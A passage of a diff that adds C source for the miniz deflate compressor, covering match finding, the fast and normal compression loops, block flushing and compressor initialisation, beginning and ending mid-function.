TDEFL_PUT_BITS(0x01, 8); + } + + TDEFL_PUT_BITS(flush == TDEFL_FINISH, 1); + + pSaved_output_buf = d->m_pOutput_buf; saved_bit_buf = d->m_bit_buffer; saved_bits_in = d->m_bits_in; + + if (!use_raw_block) + comp_block_succeeded = tdefl_compress_block(d, (d->m_flags & TDEFL_FORCE_ALL_STATIC_BLOCKS) || (d->m_total_lz_bytes < 48)); + + // If the block gets expanded, forget the current contents of the output buffer and send a raw block instead. + if ( ((use_raw_block) || ((d->m_total_lz_bytes) && ((d->m_pOutput_buf - pSaved_output_buf + 1U) >= d->m_total_lz_bytes))) && + ((d->m_lookahead_pos - d->m_lz_code_buf_dict_pos) <= d->m_dict_size) ) + { + mz_uint i; d->m_pOutput_buf = pSaved_output_buf; d->m_bit_buffer = saved_bit_buf, d->m_bits_in = saved_bits_in; + TDEFL_PUT_BITS(0, 2); + if (d->m_bits_in) { TDEFL_PUT_BITS(0, 8 - d->m_bits_in); } + for (i = 2; i; --i, d->m_total_lz_bytes ^= 0xFFFF) + { + TDEFL_PUT_BITS(d->m_total_lz_bytes & 0xFFFF, 16); + } + for (i = 0; i < d->m_total_lz_bytes; ++i) + { + TDEFL_PUT_BITS(d->m_dict[(d->m_lz_code_buf_dict_pos + i) & TDEFL_LZ_DICT_SIZE_MASK], 8); + } + } + // Check for the extremely unlikely (if not impossible) case of the compressed block not fitting into the output buffer when using dynamic codes. + else if (!comp_block_succeeded) + { + d->m_pOutput_buf = pSaved_output_buf; d->m_bit_buffer = saved_bit_buf, d->m_bits_in = saved_bits_in; + tdefl_compress_block(d, MZ_TRUE); + } + + if (flush) + { + if (flush == TDEFL_FINISH) + { + if (d->m_bits_in) { TDEFL_PUT_BITS(0, 8 - d->m_bits_in); } + if (d->m_flags & TDEFL_WRITE_ZLIB_HEADER) { mz_uint i, a = d->m_adler32; for (i = 0; i < 4; i++) { TDEFL_PUT_BITS((a >> 24) & 0xFF, 8); a <<= 8; } } + } + else + { + mz_uint i, z = 0; TDEFL_PUT_BITS(0, 3); if (d->m_bits_in) { TDEFL_PUT_BITS(0, 8 - d->m_bits_in); } for (i = 2; i; --i, z ^= 0xFFFF) { TDEFL_PUT_BITS(z & 0xFFFF, 16); } + } + } + + MZ_ASSERT(d->m_pOutput_buf < d->m_pOutput_buf_end); + + memset(&d->m_huff_count[0][0], 0, sizeof(d->m_huff_count[0][0]) * TDEFL_MAX_HUFF_SYMBOLS_0); + memset(&d->m_huff_count[1][0], 0, sizeof(d->m_huff_count[1][0]) * TDEFL_MAX_HUFF_SYMBOLS_1); + + d->m_pLZ_code_buf = d->m_lz_code_buf + 1; d->m_pLZ_flags = d->m_lz_code_buf; d->m_num_flags_left = 8; d->m_lz_code_buf_dict_pos += d->m_total_lz_bytes; d->m_total_lz_bytes = 0; d->m_block_index++; + + if ((n = (int)(d->m_pOutput_buf - pOutput_buf_start)) != 0) + { + if (d->m_pPut_buf_func) + { + *d->m_pIn_buf_size = d->m_pSrc - (const mz_uint8 *)d->m_pIn_buf; + if (!(*d->m_pPut_buf_func)(d->m_output_buf, n, d->m_pPut_buf_user)) + return (d->m_prev_return_status = TDEFL_STATUS_PUT_BUF_FAILED); + } + else if (pOutput_buf_start == d->m_output_buf) + { + int bytes_to_copy = (int)MZ_MIN((size_t)n, (size_t)(*d->m_pOut_buf_size - d->m_out_buf_ofs)); + memcpy((mz_uint8 *)d->m_pOut_buf + d->m_out_buf_ofs, d->m_output_buf, bytes_to_copy); + d->m_out_buf_ofs += bytes_to_copy; + if ((n -= bytes_to_copy) != 0) + { + d->m_output_flush_ofs = bytes_to_copy; + d->m_output_flush_remaining = n; + } + } + else + { + d->m_out_buf_ofs += n; + } + } + + return d->m_output_flush_remaining; +} + +#if MINIZ_USE_UNALIGNED_LOADS_AND_STORES +#define TDEFL_READ_UNALIGNED_WORD(p) *(const mz_uint16*)(p) +static MZ_FORCEINLINE void tdefl_find_match(tdefl_compressor *d, mz_uint lookahead_pos, mz_uint max_dist, mz_uint max_match_len, mz_uint *pMatch_dist, mz_uint *pMatch_len) +{ + mz_uint dist, pos = lookahead_pos & TDEFL_LZ_DICT_SIZE_MASK, match_len = *pMatch_len, probe_pos = pos, next_probe_pos, probe_len; + mz_uint num_probes_left = d->m_max_probes[match_len >= 32]; + const mz_uint16 *s = (const mz_uint16*)(d->m_dict + pos), *p, *q; + mz_uint16 c01 = TDEFL_READ_UNALIGNED_WORD(&d->m_dict[pos + match_len - 1]), s01 = TDEFL_READ_UNALIGNED_WORD(s); + MZ_ASSERT(max_match_len <= TDEFL_MAX_MATCH_LEN); if (max_match_len <= match_len) return; + for ( ; ; ) + { + for ( ; ; ) + { + if (--num_probes_left == 0) return; + #define TDEFL_PROBE \ + next_probe_pos = d->m_next[probe_pos]; \ + if ((!next_probe_pos) || ((dist = (mz_uint16)(lookahead_pos - next_probe_pos)) > max_dist)) return; \ + probe_pos = next_probe_pos & TDEFL_LZ_DICT_SIZE_MASK; \ + if (TDEFL_READ_UNALIGNED_WORD(&d->m_dict[probe_pos + match_len - 1]) == c01) break; + TDEFL_PROBE; TDEFL_PROBE; TDEFL_PROBE; + } + if (!dist) break; q = (const mz_uint16*)(d->m_dict + probe_pos); if (TDEFL_READ_UNALIGNED_WORD(q) != s01) continue; p = s; probe_len = 32; + do { } while ( (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && + (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (--probe_len > 0) ); + if (!probe_len) + { + *pMatch_dist = dist; *pMatch_len = MZ_MIN(max_match_len, TDEFL_MAX_MATCH_LEN); break; + } + else if ((probe_len = ((mz_uint)(p - s) * 2) + (mz_uint)(*(const mz_uint8*)p == *(const mz_uint8*)q)) > match_len) + { + *pMatch_dist = dist; if ((*pMatch_len = match_len = MZ_MIN(max_match_len, probe_len)) == max_match_len) break; + c01 = TDEFL_READ_UNALIGNED_WORD(&d->m_dict[pos + match_len - 1]); + } + } +} +#else +static MZ_FORCEINLINE void tdefl_find_match(tdefl_compressor *d, mz_uint lookahead_pos, mz_uint max_dist, mz_uint max_match_len, mz_uint *pMatch_dist, mz_uint *pMatch_len) +{ + mz_uint dist, pos = lookahead_pos & TDEFL_LZ_DICT_SIZE_MASK, match_len = *pMatch_len, probe_pos = pos, next_probe_pos, probe_len; + mz_uint num_probes_left = d->m_max_probes[match_len >= 32]; + const mz_uint8 *s = d->m_dict + pos, *p, *q; + mz_uint8 c0 = d->m_dict[pos + match_len], c1 = d->m_dict[pos + match_len - 1]; + MZ_ASSERT(max_match_len <= TDEFL_MAX_MATCH_LEN); if (max_match_len <= match_len) return; + for ( ; ; ) + { + for ( ; ; ) + { + if (--num_probes_left == 0) return; + #define TDEFL_PROBE \ + next_probe_pos = d->m_next[probe_pos]; \ + if ((!next_probe_pos) || ((dist = (mz_uint16)(lookahead_pos - next_probe_pos)) > max_dist)) return; \ + probe_pos = next_probe_pos & TDEFL_LZ_DICT_SIZE_MASK; \ + if ((d->m_dict[probe_pos + match_len] == c0) && (d->m_dict[probe_pos + match_len - 1] == c1)) break; + TDEFL_PROBE; TDEFL_PROBE; TDEFL_PROBE; + } + if (!dist) break; p = s; q = d->m_dict + probe_pos; for (probe_len = 0; probe_len < max_match_len; probe_len++) if (*p++ != *q++) break; + if (probe_len > match_len) + { + *pMatch_dist = dist; if ((*pMatch_len = match_len = probe_len) == max_match_len) return; + c0 = d->m_dict[pos + match_len]; c1 = d->m_dict[pos + match_len - 1]; + } + } +} +#endif // #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES + +#if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN +static mz_bool tdefl_compress_fast(tdefl_compressor *d) +{ + // Faster, minimally featured LZRW1-style match+parse loop with better register utilization. Intended for applications where raw throughput is valued more highly than ratio. + mz_uint lookahead_pos = d->m_lookahead_pos, lookahead_size = d->m_lookahead_size, dict_size = d->m_dict_size, total_lz_bytes = d->m_total_lz_bytes, num_flags_left = d->m_num_flags_left; + mz_uint8 *pLZ_code_buf = d->m_pLZ_code_buf, *pLZ_flags = d->m_pLZ_flags; + mz_uint cur_pos = lookahead_pos & TDEFL_LZ_DICT_SIZE_MASK; + + while ((d->m_src_buf_left) || ((d->m_flush) && (lookahead_size))) + { + const mz_uint TDEFL_COMP_FAST_LOOKAHEAD_SIZE = 4096; + mz_uint dst_pos = (lookahead_pos + lookahead_size) & TDEFL_LZ_DICT_SIZE_MASK; + mz_uint num_bytes_to_process = (mz_uint)MZ_MIN(d->m_src_buf_left, TDEFL_COMP_FAST_LOOKAHEAD_SIZE - lookahead_size); + d->m_src_buf_left -= num_bytes_to_process; + lookahead_size += num_bytes_to_process; + + while (num_bytes_to_process) + { + mz_uint32 n = MZ_MIN(TDEFL_LZ_DICT_SIZE - dst_pos, num_bytes_to_process); + memcpy(d->m_dict + dst_pos, d->m_pSrc, n); + if (dst_pos < (TDEFL_MAX_MATCH_LEN - 1)) + memcpy(d->m_dict + TDEFL_LZ_DICT_SIZE + dst_pos, d->m_pSrc, MZ_MIN(n, (TDEFL_MAX_MATCH_LEN - 1) - dst_pos)); + d->m_pSrc += n; + dst_pos = (dst_pos + n) & TDEFL_LZ_DICT_SIZE_MASK; + num_bytes_to_process -= n; + } + + dict_size = MZ_MIN(TDEFL_LZ_DICT_SIZE - lookahead_size, dict_size); + if ((!d->m_flush) && (lookahead_size < TDEFL_COMP_FAST_LOOKAHEAD_SIZE)) break; + + while (lookahead_size >= 4) + { + mz_uint cur_match_dist, cur_match_len = 1; + mz_uint8 *pCur_dict = d->m_dict + cur_pos; + mz_uint first_trigram = (*(const mz_uint32 *)pCur_dict) & 0xFFFFFF; + mz_uint hash = (first_trigram ^ (first_trigram >> (24 - (TDEFL_LZ_HASH_BITS - 8)))) & TDEFL_LEVEL1_HASH_SIZE_MASK; + mz_uint probe_pos = d->m_hash[hash]; + d->m_hash[hash] = (mz_uint16)lookahead_pos; + + if (((cur_match_dist = (mz_uint16)(lookahead_pos - probe_pos)) <= dict_size) && ((*(const mz_uint32 *)(d->m_dict + (probe_pos &= TDEFL_LZ_DICT_SIZE_MASK)) & 0xFFFFFF) == first_trigram)) + { + const mz_uint16 *p = (const mz_uint16 *)pCur_dict; + const mz_uint16 *q = (const mz_uint16 *)(d->m_dict + probe_pos); + mz_uint32 probe_len = 32; + do { } while ( (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && + (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (--probe_len > 0) ); + cur_match_len = ((mz_uint)(p - (const mz_uint16 *)pCur_dict) * 2) + (mz_uint)(*(const mz_uint8 *)p == *(const mz_uint8 *)q); + if (!probe_len) + cur_match_len = cur_match_dist ? TDEFL_MAX_MATCH_LEN : 0; + + if ((cur_match_len < TDEFL_MIN_MATCH_LEN) || ((cur_match_len == TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 8U*1024U))) + { + cur_match_len = 1; + *pLZ_code_buf++ = (mz_uint8)first_trigram; + *pLZ_flags = (mz_uint8)(*pLZ_flags >> 1); + d->m_huff_count[0][(mz_uint8)first_trigram]++; + } + else + { + mz_uint32 s0, s1; + cur_match_len = MZ_MIN(cur_match_len, lookahead_size); + + MZ_ASSERT((cur_match_len >= TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 1) && (cur_match_dist <= TDEFL_LZ_DICT_SIZE)); + + cur_match_dist--; + + pLZ_code_buf[0] = (mz_uint8)(cur_match_len - TDEFL_MIN_MATCH_LEN); + *(mz_uint16 *)(&pLZ_code_buf[1]) = (mz_uint16)cur_match_dist; + pLZ_code_buf += 3; + *pLZ_flags = (mz_uint8)((*pLZ_flags >> 1) | 0x80); + + s0 = s_tdefl_small_dist_sym[cur_match_dist & 511]; + s1 = s_tdefl_large_dist_sym[cur_match_dist >> 8]; + d->m_huff_count[1][(cur_match_dist < 512) ? s0 : s1]++; + + d->m_huff_count[0][s_tdefl_len_sym[cur_match_len - TDEFL_MIN_MATCH_LEN]]++; + } + } + else + { + *pLZ_code_buf++ = (mz_uint8)first_trigram; + *pLZ_flags = (mz_uint8)(*pLZ_flags >> 1); + d->m_huff_count[0][(mz_uint8)first_trigram]++; + } + + if (--num_flags_left == 0) { num_flags_left = 8; pLZ_flags = pLZ_code_buf++; } + + total_lz_bytes += cur_match_len; + lookahead_pos += cur_match_len; + dict_size = MZ_MIN(dict_size + cur_match_len, TDEFL_LZ_DICT_SIZE); + cur_pos = (cur_pos + cur_match_len) & TDEFL_LZ_DICT_SIZE_MASK; + MZ_ASSERT(lookahead_size >= cur_match_len); + lookahead_size -= cur_match_len; + + if (pLZ_code_buf > &d->m_lz_code_buf[TDEFL_LZ_CODE_BUF_SIZE - 8]) + { + int n; + d->m_lookahead_pos = lookahead_pos; d->m_lookahead_size = lookahead_size; d->m_dict_size = dict_size; + d->m_total_lz_bytes = total_lz_bytes; d->m_pLZ_code_buf = pLZ_code_buf; d->m_pLZ_flags = pLZ_flags; d->m_num_flags_left = num_flags_left; + if ((n = tdefl_flush_block(d, 0)) != 0) + return (n < 0) ? MZ_FALSE : MZ_TRUE; + total_lz_bytes = d->m_total_lz_bytes; pLZ_code_buf = d->m_pLZ_code_buf; pLZ_flags = d->m_pLZ_flags; num_flags_left = d->m_num_flags_left; + } + } + + while (lookahead_size) + { + mz_uint8 lit = d->m_dict[cur_pos]; + + total_lz_bytes++; + *pLZ_code_buf++ = lit; + *pLZ_flags = (mz_uint8)(*pLZ_flags >> 1); + if (--num_flags_left == 0) { num_flags_left = 8; pLZ_flags = pLZ_code_buf++; } + + d->m_huff_count[0][lit]++; + + lookahead_pos++; + dict_size = MZ_MIN(dict_size + 1, TDEFL_LZ_DICT_SIZE); + cur_pos = (cur_pos + 1) & TDEFL_LZ_DICT_SIZE_MASK; + lookahead_size--; + + if (pLZ_code_buf > &d->m_lz_code_buf[TDEFL_LZ_CODE_BUF_SIZE - 8]) + { + int n; + d->m_lookahead_pos = lookahead_pos; d->m_lookahead_size = lookahead_size; d->m_dict_size = dict_size; + d->m_total_lz_bytes = total_lz_bytes; d->m_pLZ_code_buf = pLZ_code_buf; d->m_pLZ_flags = pLZ_flags; d->m_num_flags_left = num_flags_left; + if ((n = tdefl_flush_block(d, 0)) != 0) + return (n < 0) ? MZ_FALSE : MZ_TRUE; + total_lz_bytes = d->m_total_lz_bytes; pLZ_code_buf = d->m_pLZ_code_buf; pLZ_flags = d->m_pLZ_flags; num_flags_left = d->m_num_flags_left; + } + } + } + + d->m_lookahead_pos = lookahead_pos; d->m_lookahead_size = lookahead_size; d->m_dict_size = dict_size; + d->m_total_lz_bytes = total_lz_bytes; d->m_pLZ_code_buf = pLZ_code_buf; d->m_pLZ_flags = pLZ_flags; d->m_num_flags_left = num_flags_left; + return MZ_TRUE; +} +#endif // MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN + +static MZ_FORCEINLINE void tdefl_record_literal(tdefl_compressor *d, mz_uint8 lit) +{ + d->m_total_lz_bytes++; + *d->m_pLZ_code_buf++ = lit; + *d->m_pLZ_flags = (mz_uint8)(*d->m_pLZ_flags >> 1); if (--d->m_num_flags_left == 0) { d->m_num_flags_left = 8; d->m_pLZ_flags = d->m_pLZ_code_buf++; } + d->m_huff_count[0][lit]++; +} + +static MZ_FORCEINLINE void tdefl_record_match(tdefl_compressor *d, mz_uint match_len, mz_uint match_dist) +{ + mz_uint32 s0, s1; + + MZ_ASSERT((match_len >= TDEFL_MIN_MATCH_LEN) && (match_dist >= 1) && (match_dist <= TDEFL_LZ_DICT_SIZE)); + + d->m_total_lz_bytes += match_len; + + d->m_pLZ_code_buf[0] = (mz_uint8)(match_len - TDEFL_MIN_MATCH_LEN); + + match_dist -= 1; + d->m_pLZ_code_buf[1] = (mz_uint8)(match_dist & 0xFF); + d->m_pLZ_code_buf[2] = (mz_uint8)(match_dist >> 8); d->m_pLZ_code_buf += 3; + + *d->m_pLZ_flags = (mz_uint8)((*d->m_pLZ_flags >> 1) | 0x80); if (--d->m_num_flags_left == 0) { d->m_num_flags_left = 8; d->m_pLZ_flags = d->m_pLZ_code_buf++; } + + s0 = s_tdefl_small_dist_sym[match_dist & 511]; s1 = s_tdefl_large_dist_sym[(match_dist >> 8) & 127]; + d->m_huff_count[1][(match_dist < 512) ? s0 : s1]++; + + if (match_len >= TDEFL_MIN_MATCH_LEN) d->m_huff_count[0][s_tdefl_len_sym[match_len - TDEFL_MIN_MATCH_LEN]]++; +} + +static mz_bool tdefl_compress_normal(tdefl_compressor *d) +{ + const mz_uint8 *pSrc = d->m_pSrc; size_t src_buf_left = d->m_src_buf_left; + tdefl_flush flush = d->m_flush; + + while ((src_buf_left) || ((flush) && (d->m_lookahead_size))) + { + mz_uint len_to_move, cur_match_dist, cur_match_len, cur_pos; + // Update dictionary and hash chains. Keeps the lookahead size equal to TDEFL_MAX_MATCH_LEN. + if ((d->m_lookahead_size + d->m_dict_size) >= (TDEFL_MIN_MATCH_LEN - 1)) + { + mz_uint dst_pos = (d->m_lookahead_pos + d->m_lookahead_size) & TDEFL_LZ_DICT_SIZE_MASK, ins_pos = d->m_lookahead_pos + d->m_lookahead_size - 2; + mz_uint hash = (d->m_dict[ins_pos & TDEFL_LZ_DICT_SIZE_MASK] << TDEFL_LZ_HASH_SHIFT) ^ d->m_dict[(ins_pos + 1) & TDEFL_LZ_DICT_SIZE_MASK]; + mz_uint num_bytes_to_process = (mz_uint)MZ_MIN(src_buf_left, TDEFL_MAX_MATCH_LEN - d->m_lookahead_size); + const mz_uint8 *pSrc_end = pSrc + num_bytes_to_process; + src_buf_left -= num_bytes_to_process; + d->m_lookahead_size += num_bytes_to_process; + while (pSrc != pSrc_end) + { + mz_uint8 c = *pSrc++; d->m_dict[dst_pos] = c; if (dst_pos < (TDEFL_MAX_MATCH_LEN - 1)) d->m_dict[TDEFL_LZ_DICT_SIZE + dst_pos] = c; + hash = ((hash << TDEFL_LZ_HASH_SHIFT) ^ c) & (TDEFL_LZ_HASH_SIZE - 1); + d->m_next[ins_pos & TDEFL_LZ_DICT_SIZE_MASK] = d->m_hash[hash]; d->m_hash[hash] = (mz_uint16)(ins_pos); + dst_pos = (dst_pos + 1) & TDEFL_LZ_DICT_SIZE_MASK; ins_pos++; + } + } + else + { + while ((src_buf_left) && (d->m_lookahead_size < TDEFL_MAX_MATCH_LEN)) + { + mz_uint8 c = *pSrc++; + mz_uint dst_pos = (d->m_lookahead_pos + d->m_lookahead_size) & TDEFL_LZ_DICT_SIZE_MASK; + src_buf_left--; + d->m_dict[dst_pos] = c; + if (dst_pos < (TDEFL_MAX_MATCH_LEN - 1)) + d->m_dict[TDEFL_LZ_DICT_SIZE + dst_pos] = c; + if ((++d->m_lookahead_size + d->m_dict_size) >= TDEFL_MIN_MATCH_LEN) + { + mz_uint ins_pos = d->m_lookahead_pos + (d->m_lookahead_size - 1) - 2; + mz_uint hash = ((d->m_dict[ins_pos & TDEFL_LZ_DICT_SIZE_MASK] << (TDEFL_LZ_HASH_SHIFT * 2)) ^ (d->m_dict[(ins_pos + 1) & TDEFL_LZ_DICT_SIZE_MASK] << TDEFL_LZ_HASH_SHIFT) ^ c) & (TDEFL_LZ_HASH_SIZE - 1); + d->m_next[ins_pos & TDEFL_LZ_DICT_SIZE_MASK] = d->m_hash[hash]; d->m_hash[hash] = (mz_uint16)(ins_pos); + } + } + } + d->m_dict_size = MZ_MIN(TDEFL_LZ_DICT_SIZE - d->m_lookahead_size, d->m_dict_size); + if ((!flush) && (d->m_lookahead_size < TDEFL_MAX_MATCH_LEN)) + break; + + // Simple lazy/greedy parsing state machine. + len_to_move = 1; cur_match_dist = 0; cur_match_len = d->m_saved_match_len ? d->m_saved_match_len : (TDEFL_MIN_MATCH_LEN - 1); cur_pos = d->m_lookahead_pos & TDEFL_LZ_DICT_SIZE_MASK; + if (d->m_flags & (TDEFL_RLE_MATCHES | TDEFL_FORCE_ALL_RAW_BLOCKS)) + { + if ((d->m_dict_size) && (!(d->m_flags & TDEFL_FORCE_ALL_RAW_BLOCKS))) + { + mz_uint8 c = d->m_dict[(cur_pos - 1) & TDEFL_LZ_DICT_SIZE_MASK]; + cur_match_len = 0; while (cur_match_len < d->m_lookahead_size) { if (d->m_dict[cur_pos + cur_match_len] != c) break; cur_match_len++; } + if (cur_match_len < TDEFL_MIN_MATCH_LEN) cur_match_len = 0; else cur_match_dist = 1; + } + } + else + { + tdefl_find_match(d, d->m_lookahead_pos, d->m_dict_size, d->m_lookahead_size, &cur_match_dist, &cur_match_len); + } + if (((cur_match_len == TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 8U*1024U)) || (cur_pos == cur_match_dist) || ((d->m_flags & TDEFL_FILTER_MATCHES) && (cur_match_len <= 5))) + { + cur_match_dist = cur_match_len = 0; + } + if (d->m_saved_match_len) + { + if (cur_match_len > d->m_saved_match_len) + { + tdefl_record_literal(d, (mz_uint8)d->m_saved_lit); + if (cur_match_len >= 128) + { + tdefl_record_match(d, cur_match_len, cur_match_dist); + d->m_saved_match_len = 0; len_to_move = cur_match_len; + } + else + { + d->m_saved_lit = d->m_dict[cur_pos]; d->m_saved_match_dist = cur_match_dist; d->m_saved_match_len = cur_match_len; + } + } + else + { + tdefl_record_match(d, d->m_saved_match_len, d->m_saved_match_dist); + len_to_move = d->m_saved_match_len - 1; d->m_saved_match_len = 0; + } + } + else if (!cur_match_dist) + tdefl_record_literal(d, d->m_dict[MZ_MIN(cur_pos, sizeof(d->m_dict) - 1)]); + else if ((d->m_greedy_parsing) || (d->m_flags & TDEFL_RLE_MATCHES) || (cur_match_len >= 128)) + { + tdefl_record_match(d, cur_match_len, cur_match_dist); + len_to_move = cur_match_len; + } + else + { + d->m_saved_lit = d->m_dict[MZ_MIN(cur_pos, sizeof(d->m_dict) - 1)]; d->m_saved_match_dist = cur_match_dist; d->m_saved_match_len = cur_match_len; + } + // Move the lookahead forward by len_to_move bytes. + d->m_lookahead_pos += len_to_move; + MZ_ASSERT(d->m_lookahead_size >= len_to_move); + d->m_lookahead_size -= len_to_move; + d->m_dict_size = MZ_MIN(d->m_dict_size + len_to_move, TDEFL_LZ_DICT_SIZE); + // Check if it's time to flush the current LZ codes to the internal output buffer. + if ( (d->m_pLZ_code_buf > &d->m_lz_code_buf[TDEFL_LZ_CODE_BUF_SIZE - 8]) || + ( (d->m_total_lz_bytes > 31*1024) && (((((mz_uint)(d->m_pLZ_code_buf - d->m_lz_code_buf) * 115) >> 7) >= d->m_total_lz_bytes) || (d->m_flags & TDEFL_FORCE_ALL_RAW_BLOCKS))) ) + { + int n; + d->m_pSrc = pSrc; d->m_src_buf_left = src_buf_left; + if ((n = tdefl_flush_block(d, 0)) != 0) + return (n < 0) ? MZ_FALSE : MZ_TRUE; + } + } + + d->m_pSrc = pSrc; d->m_src_buf_left = src_buf_left; + return MZ_TRUE; +} + +static tdefl_status tdefl_flush_output_buffer(tdefl_compressor *d) +{ + if (d->m_pIn_buf_size) + { + *d->m_pIn_buf_size = d->m_pSrc - (const mz_uint8 *)d->m_pIn_buf; + } + + if (d->m_pOut_buf_size) + { + size_t n = MZ_MIN(*d->m_pOut_buf_size - d->m_out_buf_ofs, d->m_output_flush_remaining); + memcpy((mz_uint8 *)d->m_pOut_buf + d->m_out_buf_ofs, d->m_output_buf + d->m_output_flush_ofs, n); + d->m_output_flush_ofs += (mz_uint)n; + d->m_output_flush_remaining -= (mz_uint)n; + d->m_out_buf_ofs += n; + + *d->m_pOut_buf_size = d->m_out_buf_ofs; + } + + return (d->m_finished && !d->m_output_flush_remaining) ? TDEFL_STATUS_DONE : TDEFL_STATUS_OKAY; +} + +tdefl_status tdefl_compress(tdefl_compressor *d, const void *pIn_buf, size_t *pIn_buf_size, void *pOut_buf, size_t *pOut_buf_size, tdefl_flush flush) +{ + if (!d) + { + if (pIn_buf_size) *pIn_buf_size = 0; + if (pOut_buf_size) *pOut_buf_size = 0; + return TDEFL_STATUS_BAD_PARAM; + } + + d->m_pIn_buf = pIn_buf; d->m_pIn_buf_size = pIn_buf_size; + d->m_pOut_buf = pOut_buf; d->m_pOut_buf_size = pOut_buf_size; + d->m_pSrc = (const mz_uint8 *)(pIn_buf); d->m_src_buf_left = pIn_buf_size ? *pIn_buf_size : 0; + d->m_out_buf_ofs = 0; + d->m_flush = flush; + + if ( ((d->m_pPut_buf_func != NULL) == ((pOut_buf != NULL) || (pOut_buf_size != NULL))) || (d->m_prev_return_status != TDEFL_STATUS_OKAY) || + (d->m_wants_to_finish && (flush != TDEFL_FINISH)) || (pIn_buf_size && *pIn_buf_size && !pIn_buf) || (pOut_buf_size && *pOut_buf_size && !pOut_buf) ) + { + if (pIn_buf_size) *pIn_buf_size = 0; + if (pOut_buf_size) *pOut_buf_size = 0; + return (d->m_prev_return_status = TDEFL_STATUS_BAD_PARAM); + } + d->m_wants_to_finish |= (flush == TDEFL_FINISH); + + if ((d->m_output_flush_remaining) || (d->m_finished)) + return (d->m_prev_return_status = tdefl_flush_output_buffer(d)); + +#if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN + if (((d->m_flags & TDEFL_MAX_PROBES_MASK) == 1) && + ((d->m_flags & TDEFL_GREEDY_PARSING_FLAG) != 0) && + ((d->m_flags & (TDEFL_FILTER_MATCHES | TDEFL_FORCE_ALL_RAW_BLOCKS | TDEFL_RLE_MATCHES)) == 0)) + { + if (!tdefl_compress_fast(d)) + return d->m_prev_return_status; + } + else +#endif // #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN + { + if (!tdefl_compress_normal(d)) + return d->m_prev_return_status; + } + + if ((d->m_flags & (TDEFL_WRITE_ZLIB_HEADER | TDEFL_COMPUTE_ADLER32)) && (pIn_buf)) + d->m_adler32 = (mz_uint32)mz_adler32(d->m_adler32, (const mz_uint8 *)pIn_buf, d->m_pSrc - (const mz_uint8 *)pIn_buf); + + if ((flush) && (!d->m_lookahead_size) && (!d->m_src_buf_left) && (!d->m_output_flush_remaining)) + { + if (tdefl_flush_block(d, flush) < 0) + return d->m_prev_return_status; + d->m_finished = (flush == TDEFL_FINISH); + if (flush == TDEFL_FULL_FLUSH) { MZ_CLEAR_OBJ(d->m_hash); MZ_CLEAR_OBJ(d->m_next); d->m_dict_size = 0; } + } + + return (d->m_prev_return_status = tdefl_flush_output_buffer(d)); +} + +tdefl_status tdefl_compress_buffer(tdefl_compressor *d, const void *pIn_buf, size_t in_buf_size, tdefl_flush flush) +{ + MZ_ASSERT(d->m_pPut_buf_func); return tdefl_compress(d, pIn_buf, &in_buf_size, NULL, NULL, flush); +} + +tdefl_status tdefl_init(tdefl_compressor *d, tdefl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags) +{ + d->m_pPut_buf_func = pPut_buf_func; d->m_pPut_buf_user = pPut_buf_user; + d->m_flags = (mz_uint)(flags); d->m_max_probes[0] = 1 + ((flags & 0xFFF) + 2) / 3; d->m_greedy_parsing = (flags & TDEFL_GREEDY_PARSING_FLAG) != 0; + d->m_max_probes[1] = 1 + (((flags & 0xFFF) >> 2) + 2) / 3; + if (!(flags & TDEFL_NONDETERMINISTIC_PARSING_FLAG)) MZ_CLEAR_OBJ(d->m_hash); + d->m_lookahead_pos = d->m_lookahead_size = d->m_dict_size = d->m_total_lz_bytes = d->m_lz_code_buf_dict_pos = d->m_bits_in = 0; + d->m_output_flush_ofs = d->m_output_flush_remaining = d->m_finished = d->m_block_index = d->m_bit_buffer = d->m_wants_to_finish = 0; + d->m_pLZ_code_buf = d->m_lz_code_buf + 1; d->m_pLZ_flags = d->m_lz_code_buf; d->m_num_flags_left = 8; + d->m_pOutput_buf = d->m_output_buf; d->m_pOutput_buf_end = d->m_output_buf; d->m_prev_return_status = TDEFL_STATUS_OKAY; + d->m_saved_match_dist = d->m_saved_match_len = d->m_saved_lit = 0; d->m_adler32 = 1; + d->m_pIn_buf = NULL; d->m_pOut_buf = NULL; + d->m_pIn_buf_size = NULL; d->m_pOut_buf_size = NULL; + d->m_flush = TDEFL_NO_FLUSH; d->m_pSrc = NULL; d->m_src_buf_left = 0; d->m_out_buf_ofs = 0; + memset(&d->m_huff_count[0][0], 0, sizeof(d->m_huff_count[0][0]) * TDEFL_MAX_HUFF_SYMBOLS_0); + memset(&d->m_huff_count[1][0], 0, sizeof(d->m_huff_count[1][0]) * TDEFL_MAX_HUFF_SYMBOLS_1); + return TDEFL_STATUS_OKAY; +} + +tdefl_status tdefl_get_prev_return_status(tdefl_compressor *d) +{ + return d->m_prev_return_status; +} + +mz_uint32 tdefl_get_adler32(tdefl_compressor *d) +{ + return d->m_adler32; +} + +mz_bool tdefl_compress_mem_to_output(const void *pBuf, size_t buf_len, tdefl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags) +{ + tdefl_compressor *pComp; mz_bool succeeded; if (((buf_len) && (!pBuf)) || (!pPut_buf_func)) return MZ_FALSE; + pComp = (tdefl_compressor*)MZ_MALLOC(sizeof(tdefl_compressor)); if (!pComp) return MZ_FALSE; + 